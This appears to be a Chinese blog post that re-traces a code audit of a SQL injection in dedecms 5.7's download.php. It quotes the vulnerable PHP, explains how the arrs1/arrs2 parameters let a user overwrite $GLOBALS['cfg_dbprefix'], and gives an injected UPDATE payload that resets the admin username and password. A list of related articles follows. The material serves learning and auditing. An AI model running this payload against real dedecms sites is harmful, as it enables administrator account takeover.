最近在看Web渗透与漏洞挖掘,这本书的编写目的感觉非常的不错,把渗透和代码审计结合在一起,但是代码审计部分感觉思路个人认为并不是很清晰,在学习dedecms v5.7 SQL注入的时候就只看懂了漏洞,思路依然感觉迷茫,在这里我重新梳理一下这个漏洞的挖掘思路。

  这个漏洞主要包括两方面,一是SQL注入本身,二是全局变量$GLOBALS可以被用户操控。拿到cms我们还是先浏览大致的结构,然后我们重点关注/include/dedesql.class.php文件,根据命名规则我们可以依据经验判断这是该cms的数据库连接配置文件。这个文件中有两个SQL执行语句,分别是ExecNoneQuery()和ExecNoneQuery2(),在ExecNoneQuery()中,该函数调用checksql()函数进行sql语句检查,我们继续阅读ExecNoneQuery2的代码:

  1. //执行一个返回影响记录条数的SQL语句,如update,delete,insert等
  2. function ExecuteNoneQuery2($sql='')
  3. {
  4. global $dsql;
  5. if(!$dsql->isInit)
  6. {
  7. $this->Init($this->pconnect);
  8. }
  9. if($dsql->isClose)
  10. {
  11. $this->Open(FALSE);
  12. $dsql->isClose = FALSE;
  13. }
  14.  
  15. if(!empty($sql))
  16. {
  17. $this->SetQuery($sql);
  18. }
  19. if(is_array($this->parameters))
  20. {
  21. foreach($this->parameters as $key=>$value)
  22. {
  23. $this->queryString = str_replace("@".$key,"'$value'",$this->queryString);
  24. }
  25. }
  26. $t1 = ExecTime();
  27. mysql_query($this->queryString,$this->linkID);
  28.  
  29. //查询性能测试
  30. if($this->recordLog) {
  31. $queryTime = ExecTime() - $t1;
  32. $this->RecordLog($queryTime);
  33. //echo $this->queryString."--{$queryTime}<hr />\r\n";
  34. }
  35.  
  36. return mysql_affected_rows($this->linkID);
  37. }

  很明显我们可以看出,这里并没有进行SQL语句安全性检查,所以我们要仔细检查该函数操控的文件或数据,我们全局搜索ExecuteNoneQuery2,发现/plus/download.php是由这个函数操控的,我们跟读这个文件,这个文件的主要功能是提供软件给用户下载,阅读以下代码:

  1. else if($open==1)
  2. {
  3. //更新下载次数
  4. $id = isset($id) && is_numeric($id) ? $id : 0;
  5. $link = base64_decode(urldecode($link));
  6. if ( !$link )
  7. {
  8. ShowMsg('无效地址','javascript:;');
  9. exit;
  10. }
  11. $hash = md5($link);
  12. $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");
  13. if($rs <= 0)
  14. {
  15. $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";
  16. $dsql->ExecNoneQuery($query);
  17. }
  18.  
  19. $row = $dsql->GetOne("SELECT * FROM `#@__softconfig` ");
  20. $sites = explode("\n", $row['sites']);
  21. $allowed = array();
  22. foreach($sites as $site)
  23. {
  24. $site = explode('|', $site);
  25. $domain = parse_url(trim($site[0]));
  26. $allowed[] = $domain['host'];
  27. }
  28.  
  29. if ( !in_array($linkinfo['host'], $allowed) )
  30. {
  31. ShowMsg('非下载地址,禁止访问','javascript:;');
  32. exit;
  33. }
  34.  
  35. header("location:$link");
  36. exit();
  37. }

  这段代码的功能很好读,我们主要考虑两个细节,一是虽然没进行安全性检查,但是应该怎么绕过PGC;二是如何让这条SQL语句能为我所用。如果之前通读了/include/dedesql.class.php的代码,我们心中应该就有了答案,这个文件中有一个特殊操作:

  1. //设置SQL语句,会自动把SQL语句里的#@__替换为$this->dbPrefix(在配置文件中为$cfg_dbprefix)
  2. function SetQuery($sql)
  3. {
  4. $prefix="#@__";
  5. $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);
  6. $this->queryString = $sql;
  7. }
  8.  
  9. if(isset($GLOBALS['arrs1']))
  10. {
  11. $v1 = $v2 = '';
  12. for($i=0;isset($arrs1[$i]);$i++)
  13. {
  14. $v1 .= chr($arrs1[$i]);
  15. }
  16. for($i=0;isset($arrs2[$i]);$i++)
  17. {
  18. $v2 .= chr($arrs2[$i]);
  19. }
  20. $GLOBALS[$v1] .= $v2;
  21. }

  在这里以上两个问题已经全部解决,在提交SQL语句的时候程序使用了ASCII进行编码,直接绕过了GPC,arr1和arr2可以被用户操控任意修改。在代码的第五行,程序使用str_replace函数把SQL语句中的#@_替换为了$GLOBALS['cfg_dbprefix'],全局搜索$cfg_dbprefix发现在/include/commen.inc.php中:

  1. $cfg_dbprefix = 'dede_';

  在代码的第21行,这里采用.=的方式拼接了$v1和$v2,.=的用法和+=一致,$a.=$b也就是$a=$a.$b,所以我们控制$v1为cfg_dbprefix,将$v2构造SQL语句:

  1. admin` SET `userid`='test', `pwd`='565491d704013245' where id=1 #

  完整的SQL语句为:

  1. UPDATE `dede_admin` SET `userid`='test', `pwd`='565491d704013245' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash'

  执行后用户名为test,密码为123456。

  这个漏洞的复现提醒了我,做代码审计通读核心文件的代码还是非常重要的,之前单纯的定位+跟读方法无法应对复杂的攻击,后面我会尽可能的多通读一下代码吧。

dedecms_5.7 download.php SQL注入的更多相关文章

  1. 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范

    昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...

  2. SQL注入技术专题—由浅入深【精华聚合】

    作者:坏蛋链接:https://zhuanlan.zhihu.com/p/23569276来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处. 不管用什么语言编写的Web应用 ...

  3. nginx服务器防sql注入/溢出攻击/spam及禁User-agents

    本文章给大家介绍一个nginx服务器防sql注入/溢出攻击/spam及禁User-agents实例代码,有需要了解的朋友可进入参考. 在配置文件添加如下字段即可  代码如下 复制代码 server { ...

  4. 总结了关于PHP xss 和 SQL 注入的问题(转)

    漏洞无非这么几类,XSS.sql注入.命令执行.上传漏洞.本地包含.远程包含.权限绕过.信息泄露.cookie伪造.CSRF(跨站请求)等.这些漏洞不仅仅是针对PHP语言的,本文只是简单介绍PHP如何 ...

  5. 我被SQL注入撞了一下腰

    网站的注入漏洞,应该说绝大多数做web开发的人都知道的事情.可是没想到从事6,7年开发工作的我,却会在这上栽了跟头,真是郁闷啊.心情很纠结,按照老婆的话,怎么感觉我像失恋了一样. 事情的起因还是在几个 ...

  6. array_slice()函数造成的一次sql注入

    HDwiki6.0 sql注入 下载连接http://kaiyuan.hoodong.com/download/ 漏洞出现在\control\edition.php的docompare()函数 !de ...

  7. 第一次靶场练习:SQL注入(1)

    SQL注入1 本文章目的是对相关的黑客内容进一步了解,如有人违反相关的法律法规,本人概不负责 一.学习目的: 利用手工注入网站 利用sqlmab注入 二.附件说明 靶场网址:http://117.41 ...

  8. SQL注入学习资料总结

    转载自:https://bbs.ichunqiu.com/thread-12105-1-1.html  什么是SQL注入 SQL注入基本介绍 结构化查询语言(Structured Query Lang ...

  9. 【代码审计】五指CMS_v4.1.0 copyfrom.php 页面存在SQL注入漏洞分析

      0x00 环境准备 五指CMS官网:https://www.wuzhicms.com/ 网站源码版本:五指CMS v4.1.0 UTF-8 开源版 程序源码下载:https://www.wuzhi ...

随机推荐

  1. sendmail 的安装、配置与发送邮件的具体实现

    Ubuntu 中sendmail 的安装.配置与发送邮件的具体实现 centos安装sendmail与使用详解 CentOS下搭建Sendmail邮件服务器 使用外部SMTP发送邮件  使用mailx ...

  2. Python说文解字_Python之多任务_04

    问:并发.并行.同步.异步.阻塞.非阻塞 答: 并发.并行: 并发是指一个时间段内(不是指的时间点),有几个程序在同一个CPU上运行,但是任意时刻只有一个程序在CPU上运行.对人类的时钟来说1秒钟能干 ...

  3. Python Learning Day1

    字符串的操作 # 字符串的操作 str1 = 'my name is xxx, my age is 18.' # 优先掌握的操作: # 1.按索引取值(正向取+反向取) :只能取 print(str1 ...

  4. UML-架构分析-步骤

    1.识别->因素表 2.解决->技术备忘录 1).可靠性 2).法律问题 3).可适应性

  5. css伪元素::before与::after使用基础示例

    1.指定文本前后添加内容 <div class="box">test</div> .box::before{ content: 'before'; marg ...

  6. idea抛出异常:org.apache.shiro.authc.AuthenticationException

    问题描述 继续在ubuntu下折腾,终于将web项目的所有的东西配置好了,然后运行项目,满怀期待的心情登录系统的时候,突然出现了这个bug,吓得我差点从椅子上跳起来,这两天遇到的bug实在是太多了.. ...

  7. Linux 杀掉所有Java进程

      ps -ef | grep java | grep -v grep | awk '{print $2}' | xargs kill -9 管道符"|"用来隔开两个命令,管道符左 ...

  8. 收藏基本Java项目开发的书

    一.Java项目开发全程实录 第1章 进销存管理系统(Swing+SQL Server2000实现) 第2章企业内部通信系统(Swing+JavaDB实现) 第3章 企业人事管理系统( Swing+H ...

  9. PHP静态方法和普通方法的区别

    <?php header('content-type:text/html;charset=utf-8'); /* 普通方法,存放类内,只有一份 静态方法,也是存放于类内,只有一份 区别在于:普通 ...

  10. bugs开发异常解决方法

    1.      前提 第一层:遇到异常首先必须告诉自己,冷静,不要慌.(一看到Bug就心慌,那么就不能释放必杀技) 2.      入门级 第二层:遇到Bug,第一潜意识看输出异常的信息的(控制台输出 ...